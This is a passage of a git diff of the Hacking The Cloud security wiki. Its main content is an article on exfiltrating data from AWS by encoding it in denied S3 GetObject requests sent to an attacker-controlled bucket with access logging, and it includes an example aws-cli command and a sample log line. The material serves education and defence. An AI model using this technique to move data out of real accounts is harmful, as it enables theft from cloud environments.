class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=data-exfiltration-through-s3-server-access-logs>Data Exfiltration through S3 Server Access Logs<a class=headerlink href=#data-exfiltration-through-s3-server-access-logs title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><aside style=display:flex> <p><a href=https://airwalkreply.com/cloud-services-as-exfiltration-mechanisms>Cloud services as exfiltration mechanisms</a> by <a href=https://www.linkedin.com/in/costas-kou/ >Costas Kourmpoglou</a></p> </aside></p> </li> </ul> </div> <p>If we have control over an IAM identity that allows <code>s3:GetObject</code>, depending on the network access to the S3 service, we can use S3 server access logs to a bucket <em>we</em> control, and use it to exfiltrate data.</p> <p>With server access logging, every request to our S3 bucket will be logged to a separate logging bucket. This includes internal AWS requests, or requests made via the AWS console. Even if a request is denied, the payload that the request is carrying, will be sent to our logging bucket. We can then send <code>GetObject</code> requests to s3 buckets, that we don't have access to, but because we control the server access logs, we will still receive the data that we want to exfiltrate in the first place. </p> <h1 id=how>How<a class=headerlink href=#how title="Permanent link">&para;</a></h1> <p>We'll create an S3 bucket, <code>AttackerBucket</code> in our account with <a href=https://docs.aws.amazon.com/AmazonS3/latest/userguide/ServerLogs.html>server access logging</a>. Let's name the logging bucket <code>AttackerBucketLogs</code>. With our data in hand <code>ExampleDataToExfiltrate</code>, we will send a <code>GetObject</code> request to our bucket, for example:</p> <p><code>aws s3api get-object --bucket AttackerBucket --key ExampleDataToExfiltrate</code></p> <p>The request will be denied. However the attempt along with the other details, including our key <code>ExampleDatatoExfiltrate</code> - which is the data we're exfiltrating - will arrive to our logging bucket <code>AttackerBucketLogs</code>.</p> <p>We'll receive the data in the default logging format:</p> <div class=highlight><pre><span></span><code>[..] attackerbucket […] 8.8.8.8 – […] REST.GET.OBJECT ExampleDataToExfiltrate &quot;GET / ExampleDataToExfiltrate HTTP/1.1&quot; 403 AccessDenied 243 - 18 - &quot;-&quot; &quot;UserAgentAlsoHasData &quot; – […]
 </code></pre></div> <p>We're exfiltrating data, using the Key parameter of the request. There's a hard limit of 1024 bytes per Key, but other request fields can be used like User-Agent.</p> <h1 id=challenges>Challenges<a class=headerlink href=#challenges title="Permanent link">&para;</a></h1> <p>There are two challenges with this method:</p> <ol> <li> <p>If the network access to the S3 service takes place over a VPC endpoint, then the policy of the VPC endpoint would need to allow access to our bucket. The VPC endpoint will drop the request and will not forward it to the S3 service, if the policy doesn't allow it. The S3 service won't be able to generate logs, and we won't be able to exfiltrate data.</p> </li> <li> <p>The logs are not guaranteed to arrive in order. If you're splitting data across multiple requests, you'll need to figure out a mechanism to re-order the data correctly. </p> </li> </ol> <p>For the general usecase where network access to the S3 service takes place over the internet, there is a 10-120 minute delay, in the log delivery.</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">December 8, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">December 7, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/costasko class=md-author title=@costasko> <img src="https://avatars.githubusercontent.com/u/22768284?v=4&size=72" alt=costasko> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/aws/exploitation/s3_streaming_copy/index.html b/aws/exploitation/s3_streaming_copy/index.html
index 2f0546266..6faecd68d 100644
--- a/aws/exploitation/s3_streaming_copy/index.html
+++ b/aws/exploitation/s3_streaming_copy/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environment"><link href=https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/ rel=canonical><link href=../s3_server_access_logs/ rel=prev><link href=../Misconfigured_Resource-Based_Policies/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>S3 Streaming Copy - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="S3 Streaming Copy - Hacking The Cloud"><meta property=og:description content="Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environment"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_streaming_copy.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="S3 Streaming Copy - Hacking The Cloud"><meta property=twitter:description content="Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environment"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_streaming_copy.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environment"><link href=https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/ rel=canonical><link href=../s3_server_access_logs/ rel=prev><link href=../Misconfigured_Resource-Based_Policies/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>S3 Streaming Copy - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="S3 Streaming Copy - Hacking The Cloud"><meta property=og:description content="Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environment"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_streaming_copy.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="S3 Streaming Copy - Hacking The Cloud"><meta property=twitter:description content="Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environment"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_streaming_copy.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#s3-streaming-copy class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> S3 Streaming Copy </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 